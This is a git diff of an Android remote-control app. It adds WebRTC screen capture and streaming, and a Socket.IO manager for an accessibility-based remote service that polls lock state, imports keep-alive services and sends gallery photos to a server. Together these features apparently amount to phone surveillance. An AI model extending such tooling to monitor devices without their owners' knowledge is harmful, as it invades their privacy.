+ videoSource = videoSource,
+ videoTrack = videoTrack,
+ surfaceTextureHelper = surfaceTextureHelper,
+ width = config.width,
+ height = config.height,
+ fps = config.fps,
+ bitrateBps = config.bitrateBps,
+ maxLongEdge = config.maxLongEdge,
+ priority = config.priority
+ )
+ }
+ Log.i(
+ TAG,
+ "WebRTC session created: clientId=$clientId, token=$sessionToken, target=${config.width}x${config.height}@${config.fps}"
+ )
+
+ listener.onStateChanged(deviceId, clientId, "starting", "webrtc_offer_received", extra)
+
+ val retriedWithCompat = AtomicBoolean(false)
+ lateinit var trySetRemoteOffer: (String, String) -> Unit
+ trySetRemoteOffer = { offerSdpText, mode ->
+ peerConnection.setRemoteDescription(
+ object : SimpleSdpObserver() {
+ override fun onSetSuccess() {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ if (mode == "compat") {
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "set_remote_offer_compat_applied",
+ JSONObject().apply { put("mode", mode) }
+ )
+ }
+ flushPendingRemoteCandidates(clientId, sessionToken)
+ createAndSendAnswer(deviceId, clientId, sessionToken)
+ startCaptureAsync(
+ deviceId = deviceId,
+ clientId = clientId,
+ sessionToken = sessionToken,
+ videoCapturer = videoCapturer,
+ sender = sender,
+ primaryConfig = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+
+ override fun onSetFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ val errorText = error.orEmpty()
+ val canRetryCompat =
+ mode != "compat" &&
+ compatOfferSdp != normalizedOfferSdp &&
+ retriedWithCompat.compareAndSet(false, true) &&
+ shouldRetryWithCompatSdp(errorText)
+ if (canRetryCompat) {
+ Log.w(
+ TAG,
+ "Set remote offer failed, retry with compat SDP: clientId=$clientId, error=$errorText"
+ )
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "set_remote_offer_retry_compat:$errorText",
+ JSONObject().apply {
+ put("mode", "compat")
+ put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+ }
+ )
+ runRtcTask("set_remote_offer_compat:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ trySetRemoteOffer(compatOfferSdp, "compat")
+ }
+ return
+ }
+
+ Log.e(TAG, "Set remote offer failed ($mode): $errorText")
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "failed",
+ "set_remote_offer_failed:$errorText",
+ JSONObject().apply {
+ put("mode", mode)
+ put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+ }
+ )
+ stop(clientId, "set_remote_offer_failed", notifyStop = false)
+ }
+ },
+ SessionDescription(SessionDescription.Type.OFFER, offerSdpText)
+ )
+ }
+
+ runRtcTask("set_remote_offer:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ trySetRemoteOffer(normalizedOfferSdp, "default")
+ }
+
+ return StartResult(true, "webrtc_starting", extra)
+ } catch (e: Exception) {
+ Log.e(TAG, "Start WebRTC from offer failed", e)
+ stop(clientId, "webrtc_start_exception", notifyStop = false)
+ return StartResult(false, "webrtc_start_exception:${e.message ?: "unknown"}")
+ }
+ }
+
+ fun addRemoteIceCandidate(
+ clientId: String,
+ candidate: String,
+ sdpMid: String?,
+ sdpMLineIndex: Int?
+ ): Boolean {
+ if (clientId.isBlank() || candidate.isBlank()) return false
+ val candidateObj = IceCandidate(
+ sdpMid,
+ sdpMLineIndex ?: 0,
+ candidate
+ )
+
+ synchronized(lock) {
+ val queue = pendingRemoteCandidates.getOrPut(clientId) { mutableListOf() }
+ queue.add(candidateObj)
+ }
+ flushPendingRemoteCandidates(clientId, expectedSessionToken = null)
+ return true
+ }
+
+ fun stop(clientId: String, reason: String = "remote_stop", notifyStop: Boolean = true): Boolean {
+ synchronized(lock) {
+ return stopSessionLocked(clientId, reason, notifyStop)
+ }
+ }
+
+ fun stopAll(reason: String = "manager_stop_all", notifyStop: Boolean = true) {
+ synchronized(lock) {
+ val ids = sessions.keys.toList()
+ ids.forEach { clientId ->
+ stopSessionLocked(clientId, reason, notifyStop)
+ }
+ }
+ }
+
+ fun release() {
+ stopAll(reason = "manager_release", notifyStop = false)
+ synchronized(lock) {
+ pendingRemoteCandidates.clear()
+ }
+ val latch = CountDownLatch(1)
+ runRtcTask("release_factory") {
+ try {
+ peerConnectionFactory?.dispose()
+ } catch (e: Exception) {
+ Log.w(TAG, "Dispose PeerConnectionFactory failed", e)
+ } finally {
+ peerConnectionFactory = null
+ }
+ try {
+ eglBase?.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release EGL failed", e)
+ } finally {
+ eglBase = null
+ }
+ latch.countDown()
+ }
+ try {
+ latch.await(2, TimeUnit.SECONDS)
+ } catch (_: InterruptedException) {
+ // ignore
+ }
+ }
+
+ private fun runRtcTask(taskName: String, task: () -> Unit) {
+ try {
+ rtcExecutor.execute {
+ try {
+ task()
+ } catch (t: Throwable) {
+ Log.e(TAG, "RTC task failed: $taskName", t)
+ }
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "RTC task schedule failed: $taskName", e)
+ }
+ }
+
+ private fun stopSessionLocked(clientId: String, reason: String, notifyStop: Boolean): Boolean {
+ pendingRemoteCandidates.remove(clientId)
+ val session = sessions[clientId] ?: return false
+ if (session.isClosing) {
+ return false
+ }
+ session.isClosing = true
+ sessions.remove(clientId)
+ Log.i(TAG, "WebRTC session stopping: clientId=$clientId, token=${session.sessionToken}, reason=$reason")
+
+ runRtcTask("stop_session:$clientId:${session.sessionToken}") {
+ safeRtcOperation("stopCapture:$clientId") {
+ if (session.captureStarted) {
+ session.videoCapturer.stopCapture()
+ session.captureStarted = false
+ }
+ }
+ safeRtcOperation("disableTrack:$clientId") {
+ session.videoTrack.setEnabled(false)
+ }
+ safeRtcOperation("closePeerConnection:$clientId") {
+ session.peerConnection.close()
+ }
+ safeRtcOperation("disposeVideoTrack:$clientId") {
+ session.videoTrack.dispose()
+ }
+ safeRtcOperation("disposeVideoSource:$clientId") {
+ session.videoSource.dispose()
+ }
+ safeRtcOperation("disposeSurfaceTextureHelper:$clientId") {
+ session.surfaceTextureHelper.dispose()
+ }
+ safeRtcOperation("disposeCapturer:$clientId") {
+ session.videoCapturer.dispose()
+ }
+ }
+
+ if (notifyStop) {
+ listener.onStateChanged(session.deviceId, session.clientId, "stopped", reason)
+ listener.onStopped(session.deviceId, session.clientId, reason)
+ }
+ return true
+ }
+
+ private fun safeRtcOperation(op: String, action: () -> Unit) {
+ try {
+ action()
+ } catch (_: InterruptedException) {
+ // ignore
+ } catch (t: Throwable) {
+ Log.w(TAG, "RTC op failed: $op", t)
+ }
+ }
+
+ private fun isSessionCurrent(clientId: String, expectedToken: Long): Boolean = synchronized(lock) {
+ val session = sessions[clientId] ?: return@synchronized false
+ session.sessionToken == expectedToken && !session.isClosing
+ }
+
+ private fun getSessionIfCurrent(clientId: String, expectedToken: Long): Session? = synchronized(lock) {
+ val session = sessions[clientId] ?: return@synchronized null
+ if (session.sessionToken == expectedToken && !session.isClosing) session else null
+ }
+
+ private fun flushPendingRemoteCandidates(clientId: String, expectedSessionToken: Long?) {
+ runRtcTask("flush_candidates:$clientId") {
+ val session = synchronized(lock) { sessions[clientId] } ?: return@runRtcTask
+ if (session.isClosing) return@runRtcTask
+ if (expectedSessionToken != null && session.sessionToken != expectedSessionToken) return@runRtcTask
+
+ val remoteDescriptionReady = try {
+ session.peerConnection.remoteDescription != null
+ } catch (_: Exception) {
+ false
+ }
+ if (!remoteDescriptionReady) return@runRtcTask
+
+ val queued = synchronized(lock) { pendingRemoteCandidates.remove(clientId)?.toList() ?: emptyList() }
+ if (queued.isEmpty()) return@runRtcTask
+
+ queued.forEach { candidate ->
+ try {
+ session.peerConnection.addIceCandidate(candidate)
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply queued remote ICE candidate failed: clientId=$clientId", e)
+ }
+ }
+ }
+ }
+
+ private fun createAndSendAnswer(deviceId: String, clientId: String, sessionToken: Long) {
+ val session = getSessionIfCurrent(clientId, sessionToken) ?: return
+ val pc = session.peerConnection
+ runRtcTask("create_answer:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ pc.createAnswer(object : SimpleSdpObserver() {
+ override fun onCreateSuccess(desc: SessionDescription?) {
+ if (desc == null) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "create_answer_empty")
+ stop(clientId, "create_answer_empty", notifyStop = false)
+ return
+ }
+
+ runRtcTask("set_local_answer:$clientId:$sessionToken") setLocalAnswer@{
+ if (!isSessionCurrent(clientId, sessionToken)) return@setLocalAnswer
+ pc.setLocalDescription(object : SimpleSdpObserver() {
+ override fun onSetSuccess() {
+ val current = getSessionIfCurrent(clientId, sessionToken) ?: return
+ listener.onAnswer(deviceId, clientId, desc.type.canonicalForm(), desc.description)
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "running",
+ "webrtc_answer_sent",
+ JSONObject().apply {
+ put("width", current.width)
+ put("height", current.height)
+ put("fps", current.fps)
+ put("bitrateBps", current.bitrateBps)
+ put("maxLongEdge", current.maxLongEdge)
+ put("priority", current.priority)
+ }
+ )
+ }
+
+ override fun onSetFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "set_local_answer_failed:$error")
+ stop(clientId, "set_local_answer_failed", notifyStop = false)
+ }
+ }, desc)
+ }
+ }
+
+ override fun onCreateFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "create_answer_failed:$error")
+ stop(clientId, "create_answer_failed", notifyStop = false)
+ }
+ }, MediaConstraints().apply {
+ mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveVideo", "true"))
+ mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveAudio", "false"))
+ })
+ }
+ }
+
+ private fun createPeerConnectionObserver(
+ deviceId: String,
+ clientId: String,
+ sessionToken: Long
+ ): PeerConnection.Observer {
+ return object : PeerConnection.Observer {
+ override fun onSignalingChange(state: PeerConnection.SignalingState?) {}
+ override fun onIceConnectionReceivingChange(receiving: Boolean) {}
+ override fun onIceGatheringChange(state: PeerConnection.IceGatheringState?) {}
+ override fun onIceCandidate(candidate: IceCandidate?) {
+ if (candidate != null && isSessionCurrent(clientId, sessionToken)) {
+ listener.onIceCandidate(deviceId, clientId, candidate)
+ }
+ }
+
+ override fun onIceCandidatesRemoved(candidates: Array?) {}
+ override fun onAddStream(stream: org.webrtc.MediaStream?) {}
+ override fun onRemoveStream(stream: org.webrtc.MediaStream?) {}
+ override fun onDataChannel(channel: org.webrtc.DataChannel?) {}
+ override fun onRenegotiationNeeded() {}
+ override fun onAddTrack(
+ receiver: org.webrtc.RtpReceiver?,
+ mediaStreams: Array?
+ ) {
+ }
+
+ override fun onConnectionChange(newState: PeerConnection.PeerConnectionState?) {
+ when (newState) {
+ PeerConnection.PeerConnectionState.CONNECTED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "running", "webrtc_connection_connected")
+ }
+
+ PeerConnection.PeerConnectionState.CONNECTING -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "starting", "webrtc_connection_connecting")
+ }
+
+ PeerConnection.PeerConnectionState.DISCONNECTED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "stopped", "webrtc_connection_disconnected")
+ }
+
+ PeerConnection.PeerConnectionState.FAILED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_connection_failed", notifyStop = true)
+ }
+
+ PeerConnection.PeerConnectionState.CLOSED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_connection_closed", notifyStop = true)
+ }
+
+ else -> Unit
+ }
+ }
+
+ override fun onSelectedCandidatePairChanged(event: CandidatePairChangeEvent?) {}
+ override fun onTrack(transceiver: org.webrtc.RtpTransceiver?) {}
+
+ override fun onStandardizedIceConnectionChange(newState: PeerConnection.IceConnectionState?) {}
+ override fun onIceConnectionChange(state: PeerConnection.IceConnectionState?) {
+ if (state == PeerConnection.IceConnectionState.FAILED) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_ice_failed", notifyStop = true)
+ }
+ }
+ }
+ }
+
+ private fun ensureFactory(): PeerConnectionFactory {
+ synchronized(lock) {
+ peerConnectionFactory?.let { return it }
+
+ val appContext = service.applicationContext
+ PeerConnectionFactory.initialize(
+ PeerConnectionFactory.InitializationOptions.builder(appContext)
+ .setEnableInternalTracer(false)
+ .createInitializationOptions()
+ )
+
+ val egl = EglBase.create()
+ val encoderFactory = DefaultVideoEncoderFactory(egl.eglBaseContext, true, true)
+ val decoderFactory = DefaultVideoDecoderFactory(egl.eglBaseContext)
+ val factory = PeerConnectionFactory.builder()
+ .setOptions(PeerConnectionFactory.Options())
+ .setVideoEncoderFactory(encoderFactory)
+ .setVideoDecoderFactory(decoderFactory)
+ .createPeerConnectionFactory()
+
+ eglBase = egl
+ peerConnectionFactory = factory
+ return factory
+ }
+ }
+
+ private fun buildIceServers(): List {
+ val list = mutableListOf()
+ list.add(PeerConnection.IceServer.builder(DEFAULT_STUN_URL).createIceServer())
+
+ val urls = synchronized(lock) { turnUrls.toList() }
+ if (urls.isNotEmpty()) {
+ val username = synchronized(lock) { turnUsername }
+ val password = synchronized(lock) { turnPassword }
+ val builder = PeerConnection.IceServer.builder(urls)
+ if (username.isNotBlank()) builder.setUsername(username)
+ if (password.isNotBlank()) builder.setPassword(password)
+ list.add(builder.createIceServer())
+ }
+ return list
+ }
+
+ private fun applySenderParameters(sender: RtpSender?, bitrateBps: Int, fps: Int) {
+ if (sender == null) return
+ try {
+ val parameters = sender.parameters ?: return
+ val encodings = parameters.encodings
+ if (encodings.isNullOrEmpty()) return
+ val encoding = encodings[0]
+ encoding.maxBitrateBps = bitrateBps
+ encoding.minBitrateBps = MIN_BITRATE_BPS
+ encoding.maxFramerate = fps
+ sender.parameters = parameters
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply RtpSender parameters failed", e)
+ }
+ }
+
+ private fun hasActiveSession(clientId: String): Boolean = synchronized(lock) {
+ sessions[clientId]?.isClosing == false
+ }
+
+ private fun buildCaptureFallbackConfigs(primary: ScreenConfig): List {
+ val fallbackMedium = primary.copy(
+ width = toEven((primary.width * 0.86f).roundToInt().coerceAtLeast(640)),
+ height = toEven((primary.height * 0.86f).roundToInt().coerceAtLeast(360)),
+ fps = primary.fps.coerceAtMost(30).coerceAtLeast(18),
+ bitrateBps = (primary.bitrateBps * 0.78f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS),
+ maxLongEdge = (primary.maxLongEdge * 0.86f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ )
+ val fallbackLow = primary.copy(
+ width = toEven((primary.width * 0.70f).roundToInt().coerceAtLeast(480)),
+ height = toEven((primary.height * 0.70f).roundToInt().coerceAtLeast(270)),
+ fps = primary.fps.coerceAtMost(24).coerceAtLeast(MIN_FPS),
+ bitrateBps = (primary.bitrateBps * 0.58f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS),
+ maxLongEdge = (primary.maxLongEdge * 0.72f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ )
+ return listOf(primary, fallbackMedium, fallbackLow)
+ .distinctBy { "${it.width}x${it.height}@${it.fps}:${it.bitrateBps}" }
+ }
+
+ private fun startCaptureWithFallback(
+ videoCapturer: ScreenCapturerAndroid,
+ sender: RtpSender?,
+ primaryConfig: ScreenConfig
+ ): Pair {
+ var lastError: Throwable? = null
+ val attempts = buildCaptureFallbackConfigs(primaryConfig)
+
+ for ((index, attempt) in attempts.withIndex()) {
+ try {
+ applySenderParameters(sender, attempt.bitrateBps, attempt.fps)
+ videoCapturer.startCapture(attempt.width, attempt.height, attempt.fps)
+ if (index > 0) {
+ Log.i(
+ TAG,
+ "WebRTC capture fallback applied: ${attempt.width}x${attempt.height}@${attempt.fps}, bitrate=${attempt.bitrateBps}"
+ )
+ }
+ return Pair(attempt, null)
+ } catch (e: Throwable) {
+ lastError = e
+ Log.w(
+ TAG,
+ "Start capture attempt ${index + 1}/${attempts.size} failed: ${attempt.width}x${attempt.height}@${attempt.fps}",
+ e
+ )
+ try {
+ videoCapturer.stopCapture()
+ } catch (_: InterruptedException) {
+ // ignore
+ } catch (_: Exception) {
+ // ignore
+ }
+ }
+ }
+ return Pair(null, lastError)
+ }
+
+ private fun startCaptureAsync(
+ deviceId: String,
+ clientId: String,
+ sessionToken: Long,
+ videoCapturer: ScreenCapturerAndroid,
+ sender: RtpSender?,
+ primaryConfig: ScreenConfig,
+ hasPermissionData: Boolean,
+ hasProjectionObject: Boolean
+ ) {
+ runRtcTask("start_capture:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+
+ val captureStartResult = startCaptureWithFallback(videoCapturer, sender, primaryConfig)
+ val startedConfig = captureStartResult.first
+ if (startedConfig == null) {
+ val captureError = captureStartResult.second ?: RuntimeException("unknown_capture_error")
+ Log.e(TAG, "Start WebRTC screen capture failed (async)", captureError)
+ val failureResult = buildCaptureStartFailureResult(
+ phase = "start_capture",
+ throwable = captureError,
+ config = primaryConfig,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ val failureExtra = JSONObject().apply {
+ failureResult.extra?.let { detail ->
+ put("detail", detail)
+ }
+ }
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "failed",
+ failureResult.message,
+ failureExtra
+ )
+ stop(clientId, "webrtc_start_capture_failed", notifyStop = false)
+ return@runRtcTask
+ }
+
+ synchronized(lock) {
+ sessions[clientId]?.let { current ->
+ if (current.sessionToken == sessionToken && !current.isClosing) {
+ sessions[clientId] = current.copy(
+ width = startedConfig.width,
+ height = startedConfig.height,
+ fps = startedConfig.fps,
+ bitrateBps = startedConfig.bitrateBps,
+ maxLongEdge = startedConfig.maxLongEdge,
+ priority = startedConfig.priority,
+ captureStarted = true
+ )
+ }
+ }
+ }
+
+ if (startedConfig != primaryConfig) {
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "webrtc_capture_profile_fallback",
+ JSONObject().apply {
+ put("width", startedConfig.width)
+ put("height", startedConfig.height)
+ put("fps", startedConfig.fps)
+ put("bitrateBps", startedConfig.bitrateBps)
+ put("maxLongEdge", startedConfig.maxLongEdge)
+ put("priority", startedConfig.priority)
+ }
+ )
+ }
+ }
+ }
+
+ private fun buildScreenConfig(
+ requestedFps: Int?,
+ requestedMaxLongEdge: Int?,
+ requestedBitrateKbps: Int?,
+ priorityRaw: String?
+ ): ScreenConfig {
+ val metrics = service.resources.displayMetrics
+ val rawWidth = metrics.widthPixels.coerceAtLeast(2)
+ val rawHeight = metrics.heightPixels.coerceAtLeast(2)
+
+ val priority = StreamPriority.fromRaw(priorityRaw)
+ val defaultFps = when (priority) {
+ StreamPriority.SMOOTH -> 40
+ StreamPriority.BALANCED -> 36
+ StreamPriority.QUALITY -> 30
+ }
+ val defaultLongEdge = when (priority) {
+ StreamPriority.SMOOTH -> 960
+ StreamPriority.BALANCED -> 1152
+ StreamPriority.QUALITY -> 1280
+ }
+ val bitrateFactor = when (priority) {
+ StreamPriority.SMOOTH -> 0.045
+ StreamPriority.BALANCED -> 0.060
+ StreamPriority.QUALITY -> 0.080
+ }
+
+ val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
+ val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ val sourceLong = maxOf(rawWidth, rawHeight)
+ val sourceShort = minOf(rawWidth, rawHeight)
+ val scale = if (sourceLong > maxLongEdge) {
+ maxLongEdge.toFloat() / sourceLong.toFloat()
+ } else {
+ 1f
+ }
+
+ val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
+ val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
+ val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
+ val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
+
+ val estimatedBitrateBps = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor)
+ .toLong()
+ .coerceAtLeast(MIN_BITRATE_BPS.toLong())
+ .coerceAtMost(MAX_BITRATE_BPS.toLong())
+ .toInt()
+
+ val requestedBitrateBps = requestedBitrateKbps
+ ?.takeIf { it > 0 }
+ ?.let { it * 1000 }
+
+ val bitrateBps = (requestedBitrateBps ?: estimatedBitrateBps)
+ .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
+
+ return ScreenConfig(
+ width = width,
+ height = height,
+ fps = fps,
+ bitrateBps = bitrateBps,
+ maxLongEdge = maxLongEdge,
+ priority = priority.wireValue
+ )
+ }
+
+ private fun toEven(value: Int): Int {
+ val safe = value.coerceAtLeast(2)
+ return if (safe % 2 == 0) safe else safe - 1
+ }
+
+ private fun ensureMediaProjectionForegroundServiceForWebRtc() {
+ if (!webRtcTransportPolicy.forceMediaProjectionFgsBeforeCapture) return
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) return
+ try {
+ val intent = Intent(service, RemoteControlForegroundService::class.java).apply {
+ action = "START_MEDIA_PROJECTION_FGS_ONLY"
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ service.startForegroundService(intent)
+ } else {
+ service.startService(intent)
+ }
+ Thread.sleep(120)
+ Log.i(
+ TAG,
+ "Ensure mediaProjection foreground service before WebRTC capture, strategy=${webRtcTransportPolicy.strategyId}"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Ensure mediaProjection foreground service failed", e)
+ }
+ }
+
+ private fun normalizeSdpLineEndings(raw: String): String {
+ val normalized = raw
+ .replace("\r\n", "\n")
+ .replace('\r', '\n')
+ val lines = normalized
+ .split('\n')
+ .map { it.trimEnd() }
+ .filter { it.isNotEmpty() }
+ if (lines.isEmpty()) return ""
+ return lines.joinToString("\r\n", postfix = "\r\n")
+ }
+
+ private fun buildCompatOfferSdp(raw: String): String {
+ val normalized = normalizeSdpLineEndings(raw)
+ if (normalized.isBlank()) return normalized
+ val lines = normalized
+ .split("\r\n")
+ .filter { it.isNotBlank() }
+ val rewritten = mutableListOf()
+ for (line in lines) {
+ val lower = line.lowercase()
+ if (lower == "a=extmap-allow-mixed") {
+ continue
+ }
+ if (lower == "a=rtcp-rsize") {
+ continue
+ }
+ if (lower.startsWith("a=ice-options:")) {
+ val optionsRaw = line.substringAfter(':', "").trim()
+ val options = optionsRaw
+ .split(' ')
+ .map { it.trim() }
+ .filter { it.isNotEmpty() && !it.equals("renomination", ignoreCase = true) }
+ if (options.isNotEmpty()) {
+ rewritten.add("a=ice-options:${options.joinToString(" ")}")
+ }
+ continue
+ }
+ rewritten.add(line)
+ }
+ if (rewritten.isEmpty()) return normalized
+ return rewritten.joinToString("\r\n", postfix = "\r\n")
+ }
+
+ private fun shouldRetryWithCompatSdp(error: String): Boolean {
+ val lowered = error.lowercase()
+ if (lowered.isBlank()) return false
+ return lowered.contains("sessiondescription is null") ||
+ lowered.contains("session description is null") ||
+ lowered.contains("failed to parse") ||
+ lowered.contains("sdp")
+ }
+
+ private fun buildOfferSdpSummary(defaultSdp: String, compatSdp: String): JSONObject {
+ val normalizedDefault = normalizeSdpLineEndings(defaultSdp)
+ val normalizedCompat = normalizeSdpLineEndings(compatSdp)
+ fun collect(sdp: String): JSONObject {
+ val lines = sdp.split("\r\n").filter { it.isNotBlank() }
+ return JSONObject().apply {
+ put("length", sdp.length)
+ put("lineCount", lines.size)
+ put("hasV0", sdp.startsWith("v=0"))
+ put("hasMVideo", lines.any { it.startsWith("m=video") })
+ put("hasExtmapAllowMixed", lines.any { it.equals("a=extmap-allow-mixed", ignoreCase = true) })
+ put("hasRtcpRsize", lines.any { it.equals("a=rtcp-rsize", ignoreCase = true) })
+ put(
+ "iceOptions",
+ lines.firstOrNull { it.startsWith("a=ice-options:", ignoreCase = true) }?.substringAfter(':', "")
+ ?: ""
+ )
+ }
+ }
+ return JSONObject().apply {
+ put("default", collect(normalizedDefault))
+ put("compat", collect(normalizedCompat))
+ put("changed", normalizedDefault != normalizedCompat)
+ }
+ }
+
+ private fun buildCaptureStartFailureResult(
+ phase: String,
+ throwable: Throwable,
+ config: ScreenConfig,
+ hasPermissionData: Boolean,
+ hasProjectionObject: Boolean
+ ): StartResult {
+ val exceptionClass = throwable.javaClass.simpleName.ifBlank { "UnknownException" }
+ val exceptionMessage = (throwable.message ?: "unknown")
+ .replace('\n', ' ')
+ .replace('\r', ' ')
+ .trim()
+ .take(320)
+ .ifEmpty { "unknown" }
+ val normalized = exceptionMessage.lowercase()
+ val permissionLike =
+ throwable is SecurityException ||
+ normalized.contains("media_projection") ||
+ normalized.contains("media projection") ||
+ normalized.contains("permission") ||
+ normalized.contains("token") ||
+ normalized.contains("already used") ||
+ normalized.contains("resultdata") ||
+ normalized.contains("invalid")
+ val message = if (permissionLike) {
+ "media_projection_not_ready:webrtc_start_capture_failed"
+ } else {
+ "webrtc_start_capture_failed"
+ }
+ val extra = JSONObject().apply {
+ put("phase", phase)
+ put("exceptionClass", exceptionClass)
+ put("exceptionMessage", exceptionMessage)
+ put("permissionLike", permissionLike)
+ put("hasPermissionData", hasPermissionData)
+ put("hasProjectionObject", hasProjectionObject)
+ put("targetWidth", config.width)
+ put("targetHeight", config.height)
+ put("targetFps", config.fps)
+ put("targetBitrateBps", config.bitrateBps)
+ put("targetPriority", config.priority)
+ }
+ return StartResult(success = false, message = message, extra = extra)
+ }
+
+ private open class SimpleSdpObserver : SdpObserver {
+ override fun onCreateSuccess(desc: SessionDescription?) {}
+ override fun onSetSuccess() {}
+ override fun onCreateFailure(error: String?) {}
+ override fun onSetFailure(error: String?) {}
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
index 31a26c9..31a2679 100644
--- a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
+++ b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
@@ -2,20 +2,37 @@
import android.content.Context
import android.content.Intent
+import android.media.AudioManager
+import android.app.NotificationManager
+import android.net.Uri
import android.os.Build
import android.os.Handler
import android.os.Looper
+import android.os.Vibrator
+import android.os.VibratorManager
+import android.provider.Settings
import android.util.Log
import android.view.WindowManager
import com.hikoncont.crash.CrashLogUploader
+import com.hikoncont.manager.SrtStreamManager
+import com.hikoncont.manager.WebRTCManager
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.service.ComprehensiveKeepAliveManager
+import com.hikoncont.service.WorkManagerKeepAliveService
+import com.hikoncont.util.ConfigReader
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.RuntimeFeatureFlags
import io.socket.client.IO
import io.socket.client.Socket
import io.socket.emitter.Emitter
import kotlinx.coroutines.*
import org.json.JSONObject
import org.json.JSONArray
+import org.webrtc.IceCandidate
import java.net.URISyntaxException
+import java.net.URLEncoder
+import java.util.Date
+import kotlin.math.hypot
/**
* Socket.IO v4 client manager - resolves 47-second disconnect issue
@@ -26,11 +43,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
private const val TAG = "SocketIOManager"
}
- // 🆕 锁屏状态缓存与定时检测
+ // comment cleaned
private var isScreenLocked: Boolean = false
private var lockStateJob: Job? = null
- // 锁屏状态监控由connect()启动，避免在构造阶段协程作用域未就绪
+ // comment cleaned
private fun startLockStateMonitor() {
try {
@@ -47,13 +64,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Lock state poll: isLocked=$now")
}
} catch (e: Exception) {
- Log.w(TAG, "检测锁屏状态失败", e)
+ Log.w(TAG, "Lock state check failed", e)
}
kotlinx.coroutines.delay(10_000)
}
}
} catch (e: Exception) {
- Log.e(TAG, "启动锁屏状态监控失败", e)
+ Log.e(TAG, "Start lock state monitor failed", e)
}
}
@@ -65,11 +82,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked")
locked
} catch (e: Exception) {
- Log.w(TAG, "检测锁屏状态失败", e)
+ Log.w(TAG, "Lock state detection failed", e)
false
}
}
- // 🆕 应用信息获取
+ // comment cleaned
private fun getAppVersionName(): String {
return try {
val pm = service.packageManager
@@ -82,7 +99,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
pi.versionName ?: "unknown"
} catch (e: Exception) {
- Log.w(TAG, "获取应用版本失败", e)
+ Log.w(TAG, "Failed to get app version", e)
"unknown"
}
}
@@ -98,18 +115,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
pm.getApplicationLabel(ai).toString()
} catch (e: Exception) {
- Log.w(TAG, "获取应用名称失败", e)
+ Log.w(TAG, "Failed to get app name", e)
"unknown"
}
}
/**
- * 发送相册数据到服务器（逐张发送；可被新的读取请求打断重启）
+ * comment cleaned
*/
fun sendGalleryData(items: List) {
try {
if (socket?.connected() == true) {
- // 优化：逐张发送，避免单包过大
+ // comment cleaned
items.forEachIndexed { index, itx ->
try {
